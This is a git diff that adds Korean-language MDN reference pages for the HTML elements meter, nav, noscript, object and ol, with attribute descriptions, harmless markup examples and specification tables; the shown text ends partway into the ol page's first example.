diff --git a/files/ko/web/html/element/meter/index.html b/files/ko/web/html/element/meter/index.html
new file mode 100644
index 0000000000..c2f6a8fcbf
--- /dev/null
+++ b/files/ko/web/html/element/meter/index.html
@@ -0,0 +1,142 @@
+---
+title: <meter>
+slug: Web/HTML/Element/meter
+tags:
+  - Element
+  - HTML
+  - HTML forms
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/meter
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;meter&gt;</code> 요소</strong>는 특정 범위 내에서의 스칼라 값, 또는 백분율 값을 나타냅니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/meter.html", "tabbed-shorter")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#레이블_가능">레이블 가능</a>, 뚜렷한 콘텐츠.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>. 단, 다른 <code>&lt;meter&gt;</code> 요소는 사용할 수 없습니다.</td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>를 허용하는 모든 요소.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>없음</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLMeterElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>을 포함합니다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("value")}}</dt>
+ <dd>현재의 값. 최소와 최댓값(<code>min</code>과 <code>max</code> 특성)을 지정한 경우, 그 사이여야 합니다. 지정하지 않았거나 잘못된 값인 경우 <code>0</code>으로 간주합니다. 지정했으나 범위 바깥인 경우, 범위에 맞춰 나머지 값을 버립니다.
+ <div class="note"><strong>참고: </strong><code>value</code>가 <code>0</code> 이상 <code>1</code> 이하가 아닌 이상, <code>min</code>과 <code>max</code>를 정의해 <code>value</code> 값이 그 안에 들어가도록 해야 합니다.</div>
+ </dd>
+ <dt>{{htmlattrdef("min")}}</dt>
+ <dd>측정 범위의 가능한 최솟값. 지정할 경우 최댓값(<code>max</code> 특성) 미만이어야 합니다. 지정하지 않은 경우 <code>0</code>입니다.</dd>
+ <dt>{{htmlattrdef("max")}}</dt>
+ <dd>측정 범위의 가능한 최댓값. 지정할 경우 최솟값(<code>min</code> 특성)을 초과해야 합니다. 지정하지 않은 경우 <code>1</code>입니다.</dd>
+ <dt>{{htmlattrdef("low")}}</dt>
+ <dd>측정 범위 중 낮은 범위의 최댓값. 지정할 경우 전체 범위 최솟값(<code>min</code> 특성)을 초과해야 하며, 높은 범위 최댓값과 전체 범위 최댓값(각각 <code>high</code>와 <code>max</code> 특성) 미만이어야 합니다. 지정하지 않았거나 전체 범위 최솟값 미만인 경우, 전체 범위 최솟값과 같아집니다.</dd>
+ <dt>{{htmlattrdef("high")}}</dt>
+ <dd>측정 범위 중 높은 범위의 최솟값. 지정할 경우 전체 범위 최댓값(<code>max</code> 특성) 미만이어야 하며, 낮은 범위의 최댓값과 전체 범위 최솟값(각각 <code>low</code>와 <code>min</code> 특성)을 초과해야 합니다. 지정하지 않았거나 전체 범위 최댓값을 초과할 경우 전체 범위 최댓값과 같아집니다.</dd>
+ <dt>{{htmlattrdef("optimum")}}</dt>
+ <dd>이상적인 값. <code>min</code>과 <code>max</code> 특성으로 정의한 범위 내에 위치해야 합니다. <code>low</code>와 <code>high</code> 특성을 함께 사용한 경우, <code>optimum</code>은 어느 범위가 이상적인지 나타냅니다. 예를 들어, 값이 <code>min</code>과 <code>low</code> 사이에 위치한 경우, 측정 범위 중 낮은 범위가 이상적인 범위입니다.</dd>
+ <dt>{{htmlattrdef("form")}}</dt>
+ <dd><code>&lt;meter&gt;</code>와 연결할 {{htmlelement("form")}} 요소("양식 소유자"). 같은 문서에 존재하는 <code>&lt;form&gt;</code> 요소의 {{htmlattrxref("id")}} 특성 값을 사용해야 합니다. <code>form</code> 특성을 지정하지 않았으나 조상 중 <code>&lt;form&gt;</code> 요소가 존재하면 해당 <code>&lt;form&gt;</code>과 연결됩니다. <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTML/Element/input/number"><code>&lt;input type="number"&gt;</code></a>의 값 범위를 보여주는 등 <code>&lt;meter&gt;</code>를 양식 관련 콘텐츠로서 사용할 때만 지정하세요.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="간단한_예제">간단한 예제</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;Heat the oven to &lt;meter min="200" max="500"
+  value="350"&gt;350 degrees&lt;/meter&gt;.&lt;/p&gt;
+</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample("간단한_예제", 300, 60)}}</p>
+
+<p>Google Chrome에서는 다음 그림처럼 보입니다.</p>
+
+<p><img alt="meter1.png" class="default internal" src="/@api/deki/files/4940/=meter1.png"></p>
+
+<h3 id="높은_범위와_낮은_범위">높은 범위와 낮은 범위</h3>
+
+<p>{{htmlattrxref("min", "meter")}} 특성의 기본값이 0이므로 생략한 것을 참고하세요.</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;He got a &lt;meter low="69" high="80" max="100"
+  value="84"&gt;B&lt;/meter&gt; on the exam.&lt;/p&gt;
+</pre>
+
+<h4 id="결과_2">결과</h4>
+
+<p>{{EmbedLiveSample("높은_범위와_낮은_범위", 300, 60)}}</p>
+
+<p>Google Chrome에서는 다음 그림처럼 보입니다.</p>
+
+<p><img alt="meter2.png" class="default internal" src="/@api/deki/files/4941/=meter2.png"></p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'forms.html#the-meter-element', '&lt;meter&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'sec-forms.html#the-meter-element', '&lt;meter&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.meter")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{HTMLElement("progress")}}</li>
+</ul>
diff --git a/files/ko/web/html/element/nav/index.html b/files/ko/web/html/element/nav/index.html
new file mode 100644
index 0000000000..35a952cc43
--- /dev/null
+++ b/files/ko/web/html/element/nav/index.html
@@ -0,0 +1,101 @@
+---
+title: '<nav>: 탐색 구획 요소'
+slug: Web/HTML/Element/nav
+tags:
+  - Element
+  - HTML
+  - HTML sections
+  - HTML5
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/nav
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;nav&gt;</code> 요소</strong>는 문서의 부분 중 현재 페이지 내, 또는 다른 페이지로의 링크를 보여주는 구획을 나타냅니다. 자주 쓰이는 예제는 메뉴, 목차, 색인입니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/nav.html", "tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/%EC%BB%A8%ED%85%90%ED%8A%B8_%EC%B9%B4%ED%85%8C%EA%B3%A0%EB%A6%AC">콘텐츠 카테고리</a></th>
+   <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#구획_콘텐츠">구획 콘텐츠</a>, 뚜렷한 콘텐츠.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#플로우_콘텐츠">플로우 콘텐츠</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#플로우_콘텐츠">플로우 콘텐츠</a>를 허용하는 모든 요소.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 규칙</th>
+   <td>없음</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p><span style="line-height: 21px;">이 요소는 </span><a href="/ko/docs/Web/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">전역 특성</a>만 포함합니다.</p>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<ul>
+ <li>문서의 모든 링크가 <code>&lt;nav&gt;</code> 요소 안에 있을 필요는 없습니다. <code>&lt;nav&gt;</code> 요소는 주요 탐색 링크 블록을 위한 요소입니다. 대개 {{htmlelement("footer")}} 요소가 <code>&lt;nav&gt;</code>에 들어가지 않아도 되는 링크를 포함합니다.</li>
+ <li><code>&lt;nav&gt;</code> 하나는 사이트 전체 탐색, 다른 하나는 현재 페이지 내 탐색으로 사용하는 등, 하나의 문서에서 여러 개의 {{HTMLElement("nav")}} 태그를 가질 수 있습니다. 이럴 때 <code><a href="/ko/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-labelledby_attribute">aria-labelledby</a></code>를 사용해 접근성을 향상할 수 있습니다.</li>
+ <li>스크린 리더 등 장애를 가진 사용자를 위한 사용자 에이전트는 최초 렌더링에서 탐색 전용 콘텐츠를 제외할지 결정할 때 <code>&lt;nav&gt;</code>를 참고합니다.</li>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush:xml">&lt;nav&gt;
+  &lt;ul&gt;
+    &lt;li&gt;&lt;a href="#"&gt;Home&lt;/a&gt;&lt;/li&gt;
+    &lt;li&gt;&lt;a href="#"&gt;About&lt;/a&gt;&lt;/li&gt;
+    &lt;li&gt;&lt;a href="#"&gt;Contact&lt;/a&gt;&lt;/li&gt;
+  &lt;/ul&gt;
+&lt;/nav&gt;
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'sections.html#the-nav-element', '&lt;nav&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change since latest W3C snapshot.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'sections.html#the-nav-element', '&lt;nav&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Specifications" name="Specifications">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.nav")}}</p>
diff --git a/files/ko/web/html/element/noscript/index.html b/files/ko/web/html/element/noscript/index.html
new file mode 100644
index 0000000000..b4045a4008
--- /dev/null
+++ b/files/ko/web/html/element/noscript/index.html
@@ -0,0 +1,113 @@
+---
+title: <noscript>
+slug: Web/HTML/Element/noscript
+tags:
+  - Element
+  - HTML
+  - HTML scripting
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/noscript
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;noscript&gt;</code> 요소</strong>는 페이지의 스크립트 유형을 지원하지 않거나, 브라우저가 스크립트를 비활성화한 경우 보여줄 HTML 구획을 정의합니다.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#메타데이터_콘텐츠">메타데이터 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td>
+    <p>스크립트가 비활성 상태이며 자신이 {{HTMLElement("head")}} 요소의 자손인 경우, 순서대로</p>
+
+    <ul>
+     <li>0개 이상의 {{htmlelement("link")}} 요소</li>
+     <li>0개 이상의 {{htmlelement("style")}} 요소</li>
+     <li>0개 이상의 {{htmlelement("meta")}} 요소</li>
+    </ul>
+
+    <p>스크립트가 비활성 상태이나 <code>&lt;head&gt;</code> 요소의 자손이 아닌 경우 모든 투명 콘텐츠. 단, 다른 <code>&lt;noscript&gt;</code> 요소는 불가능합니다.</p>
+
+    <p>그 외의 경우 플로우 콘텐츠와 구문 콘텐츠.</p>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td>구문 콘텐츠를 허용하는 모든 요소, 또는 {{htmlelement("head")}}. 단, 두 경우 모두 다른 <code>&lt;noscript&gt;</code> 요소가 존재하는 경우 불가능합니다.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>없음</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p><span style="line-height: 21px;">이 요소는 </span><a href="/ko/docs/Web/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">전역 특성</a>만 포함합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: html">&lt;noscript&gt;
+  &lt;!-- anchor linking to external file --&gt;
+  &lt;a href="http://www.mozilla.com/"&gt;External Link&lt;/a&gt;
+&lt;/noscript&gt;
+&lt;p&gt;Rocks!&lt;/p&gt;
+</pre>
+
+<h3 id="스크립트_활성화_상태에서의_결과">스크립트 활성화 상태에서의 결과</h3>
+
+<p>Rocks!</p>
+
+<h3 id="스크립트_비활성화_상태에서의_결과">스크립트 비활성화 상태에서의 결과</h3>
+
+<p><a class="external" href="http://www.mozilla.com/">External Link</a></p>
+
+<p>Rocks!</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'scripting.html#the-noscript-element', '&lt;noscript&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'semantics-scripting.html#the-noscript-element', '&lt;noscript&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'interact/scripts.html#h-18.3.1', '&lt;noscript&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.noscript")}}</p>
diff --git a/files/ko/web/html/element/object/index.html b/files/ko/web/html/element/object/index.html
new file mode 100644
index 0000000000..b6b1c5da99
--- /dev/null
+++ b/files/ko/web/html/element/object/index.html
@@ -0,0 +1,117 @@
+---
+title: <object>
+slug: Web/HTML/Element/object
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/object
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;object&gt;</code> 요소</strong>는 이미지나, 중첩된 브라우저 컨텍스트, 플러그인에 의해 다뤄질수 있는 리소스와 같은 외부 리소스를 나타냅니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/object.html", "tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<ul class="htmlelt">
+ <li><dfn><a href="/en-US/docs/HTML/Content_categories" title="HTML/Content_categories">컨텐츠 범주</a></dfn> <a href="/en-US/docs/HTML/Content_categories#Flow_content" title="HTML/Content categories#Flow content">플로우 컨텐츠</a>; <a href="/en-US/docs/HTML/Content_categories#Phrasing_content" title="HTML/Content categories#Phrasing content">구문 컨텐츠</a>; <a href="/en-US/docs/HTML/Content_categories#Embedded_content" title="HTML/Content categories#Embedded content">포함된 컨텐츠</a>, palpable 컨텐츠; 만약 요소가 <strong>usemap </strong>속성을 가지고 있다면, <a href="/en-US/docs/HTML/Content_categories#Interactive_content" title="HTML/Content categories#Interactive content">대화형 컨텐츠</a>; <a href="/en-US/docs/HTML/Content_categories#Form_listed" title="HTML/Content categories#Form listed">listed</a>, <a href="/en-US/docs/HTML/Content_categories#Form_submittable" title="HTML/Content categories#Form submittable">submittable</a> <a href="/en-US/docs/HTML/Content_categories#Form-associated_content" title="HTML/Content categories#Form-associated content">form-associated</a> element.</li>
+ <li><dfn>허용된 컨텐츠</dfn> 0개 이상의 {{HTMLElement("param")}} elements, then <a href="/en-US/docs/HTML/Content_categories#Transparent_content_models" title="HTML/Content categories#Transparent content models">Transparent content</a>.</li>
+ <li><dfn>태그 생략</dfn> {{no_tag_omission}}</li>
+ <li><dfn>허용된 부모 요소</dfn><a href="/en-US/docs/HTML/Content_categories#Embedded_content" title="HTML/Content categories#Embedded content">포함된 컨텐츠</a>를 허용하는 모든 요소</li>
+ <li><dfn>DOM 인터페이스</dfn> {{domxref("HTMLObjectElement")}}</li>
+</ul>
+
+<h2 id="속성">속성</h2>
+
+<p><span style="line-height: 21px;">이 속성은 </span><a href="https://developer.mozilla.org/en-US/docs/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">전역 속성</a>을 포함합니다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("archive")}} {{HTMLVersionInline(4)}} only; {{obsoleteGeneric('inline','HTML5')}}</dt>
+ <dd>A space-separated list of URIs for archives of resources for the object.</dd>
+ <dt>{{htmlattrdef("border")}} {{deprecatedGeneric('inline','HTML4.01')}}; {{obsoleteGeneric('inline','HTML5')}}</dt>
+ <dd>The width of a border around the control, in pixels.</dd>
+ <dt>{{htmlattrdef("classid")}} {{HTMLVersionInline(4)}} only; {{obsoleteGeneric('inline','HTML5')}}</dt>
+ <dd>The URI of the object's implementation. It can be used together with, or in place of, the <strong>data</strong> attribute.</dd>
+ <dt>{{htmlattrdef("codebase")}} {{HTMLVersionInline(4)}} only; {{obsoleteGeneric('inline','HTML5')}}</dt>
+ <dd>The base path used to resolve relative URIs specified by <strong>classid</strong>, <strong>data</strong>, or <strong>archive</strong>. If not specified, the default is the base URI of the current document.</dd>
+ <dt>{{htmlattrdef("codetype")}} {{HTMLVersionInline(4)}} only; {{obsoleteGeneric('inline','HTML5')}}</dt>
+ <dd>The content type of the data specified by <strong>classid</strong>.</dd>
+ <dt>{{htmlattrdef("data")}}</dt>
+ <dd>리소스의 URL. 최소 하나의 <strong>data</strong>와 <strong>type</strong>가 정의되어야 합니다.</dd>
+ <dt>{{htmlattrdef("declare")}} {{HTMLVersionInline(4)}} only; {{obsoleteGeneric('inline','HTML5')}}</dt>
+ <dd>The presence of this Boolean attribute makes this element a declaration only. The object must be instantiated by a subsequent <code>&lt;object&gt;</code> element. In HTML5, repeat the &lt;object&gt; element completely each that that the resource is reused.</dd>
+ <dt>{{htmlattrdef("form")}} {{HTMLVersionInline(5)}}</dt>
+ <dd>object 요소와 관련된 form 요소. 이 속성의 값은 같은 문서의 {{HTMLElement("form")}} 요소의 ID 속성의 값이여야 합니다.</dd>
+ <dt>{{htmlattrdef("height")}}</dt>
+ <dd>표시될 리소스의 높이를 CSS 픽셀 단위로 지정합니다.</dd>
+ <dt>{{htmlattrdef("name")}}</dt>
+ <dd>유효한 브라우징 컨텍스트의 이름(HTML5) 또는, 컨트롤의 이름(HTML 4)</dd>
+ <dt>{{htmlattrdef("standby")}} {{HTMLVersionInline(4)}} only; {{obsoleteGeneric('inline','HTML5')}}</dt>
+ <dd>A message that the browser can show while loading the object's implementation and data.</dd>
+ <dt>{{htmlattrdef("tabindex")}} {{HTMLVersionInline(4)}} only; {{obsoleteGeneric('inline','HTML5')}}</dt>
+ <dd>The position of the element in the tabbing navigation order for the current document.</dd>
+ <dt>{{htmlattrdef("type")}}</dt>
+ <dd><strong>data</strong>에 의해 지정된 리소스의 <a href="/en-US/docs/Glossary/Content_type">컨텐츠 타입</a>.  최소 한 개의 <strong>data</strong>와 <strong>type</strong>가 정의되어야 합니다.</dd>
+ <dt>{{htmlattrdef("typemustmatch")}} {{HTMLVersionInline(5)}}</dt>
+ <dd><strong>type</strong>와 리소스의 실제 <a href="/en-US/docs/Glossary/Content_type">컨텐츠 타입</a>이 일치해야되는지를 나타내는 불리언 속성</dd>
+ <dt>{{htmlattrdef("usemap")}}</dt>
+ <dd>{{HTMLElement("map")}} 요소에 대한 해쉬-이름 참조; #와 그 뒤에 map 요소의 {{htmlattrxref("name", "map")}} 값이 붙음</dd>
+ <dt>{{htmlattrdef("width")}}</dt>
+ <dd>표시될 리소스의 가로 길이를 CSS 픽셀단위로 지정합니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="포함된_플래시_무비">포함된 플래시 무비</h3>
+
+<pre class="brush: html">&lt;!-- Embed a flash movie --&gt;
+&lt;object data="move.swf" type="application/x-shockwave-flash"&gt;&lt;/object&gt;
+
+&lt;!-- Embed a flash movie with parameters --&gt;
+&lt;object data="move.swf" type="application/x-shockwave-flash"&gt;
+  &lt;param name="foo" value="bar"&gt;
+&lt;/object&gt;
+</pre>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">주석</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'the-iframe-element.html#the-object-element', '&lt;object&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'embedded-content-0.html#the-object-element', '&lt;object&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/objects.html#h-13.3', '&lt;object&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("html.elements.object")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{HTMLElement("embed")}}</li>
+ <li>{{HTMLElement("param")}}</li>
+</ul>
diff --git a/files/ko/web/html/element/ol/index.html b/files/ko/web/html/element/ol/index.html
new file mode 100644
index 0000000000..52f8ef6dca
--- /dev/null
+++ b/files/ko/web/html/element/ol/index.html
@@ -0,0 +1,207 @@
+---
+title: <ol>
+slug: Web/HTML/Element/ol
+tags:
+  - Element
+  - HTML
+  - HTML grouping content
+  - 'HTML:Flow content'
+  - Reference
+translation_of: Web/HTML/Element/ol
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;ol&gt;</code> 요소</strong>는 정렬된 목록을 나타냅니다. 보통 숫자 목록으로 표현합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/ol.html", "tabbed-shorter")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>. 또한, 최소 하나의 {{htmlelement("li")}} 요소를 자식으로 둔다면 <a href="/ko/docs/Web/Guide/HTML/Content_categories#뚜렷한_컨텐츠">뚜렷한 콘텐츠</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td>0개 이상의 {{htmlelement("li")}}, {{htmlelement("script")}}, {{htmlelement("template")}} 요소.</td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>를 허용하는 모든 요소.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>{{ARIARole("directory")}}, {{ARIARole("group")}}, {{ARIARole("listbox")}}, {{ARIARole("menu")}}, {{ARIARole("menubar")}}, {{ARIARole("radiogroup")}}, {{ARIARole("tablist")}}, {{ARIARole("toolbar")}}, {{ARIARole("tree")}}, {{ARIARole("presentation")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{DOMxRef("HTMLOListElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p><span style="line-height: 21px;">이 요소는 </span><a href="/ko/docs/Web/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">전역 특성</a>을 포함합니다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("reversed")}}</dt>
+ <dd>목록의 순서 역전 여부. 즉, 내부에 지정한 항목이 역순으로 배열된 것인지 나타냅니다.</dd>
+ <dt>{{htmlattrdef("start")}}</dt>
+ <dd>항목을 셀 때 시작할 수. <code>type</code>이 로마 숫자나 영어 문자인 경우에도 아라비아 숫자로 나타낸 정수(1, 2, 3...)만 가능합니다. 그러므로 영어 문자 "d"나 로마 숫자 "iv"부터 세려고 한다면 <code>start="4"</code>를 사용하세요.</dd>
+ <dt>{{htmlattrdef("type")}}</dt>
+ <dd>항목을 셀 때 사용할 카운터 유형.
+ <ul>
+  <li><code>'a'</code>는 소문자 알파벳,</li>
+  <li><code>'A'</code>는 대문자 알파벳,</li>
+  <li><code>'i'</code>는 소문자 로마 숫자,</li>
+  <li><code>'I'</code>는 대문자 로마 숫자,</li>
+  <li><code>'1'</code> 는 숫자(기본값)을 나타냅니다.</li>
+ </ul>
+
+ <p><code>type</code>은 아래의 모든 {{htmlelement("li")}}에 적용되지만, {{htmlattrxref("type", "li")}} 특성을 가진 <code>&lt;li&gt;</code>는 그 값을 대신 사용합니다.</p>
+
+ <div class="note"><strong>참고:</strong> 항목을 각각의 숫자/문자로 참조하는 기술적 또는 법률적 문서가 아니라면 CSS {{cssxref("list-style-type")}} 속성을 대신 사용하세요.</div>
+ </dd>
+</dl>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<p>보통 정렬 목록의 항목은 선행하는 숫자나 문자 등 <a href="/ko/docs/Web/CSS/::marker">마커</a>와 함께 표시합니다.</p>
+
+<p><code>&lt;ol&gt;</code>과 {{htmlelement("ul")}}은 필요한 만큼 중첩할 수 있고, 서로 교차할 수도 있습니다.</p>
+
+<p><code>&lt;ol&gt;</code>과 {{htmlelement("ul")}}은 모두 목록을 나타냅니다. 차이가 있다면 <code>&lt;ol&gt;</code>에서는 순서가 중요하다는 점입니다. 예를 들어,</p>
+
+<ul>
+ <li>단계별 요리법</li>
+ <li>내비게이션</li>
+ <li>영양정보에서 비율의 내림차순으로 정렬한 원재료 목록</li>
+</ul>
+
+<p>항목의 순서를 바꿨을 때 의미도 바뀐다면 <code>&lt;ol&gt;</code>을 사용하세요. 그렇지 않으면 {{htmlelement("ul")}}을 사용할 수 있습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="간단한_예제">간단한 예제</h3>
+
+<pre class="brush: html">&lt;ol&gt;
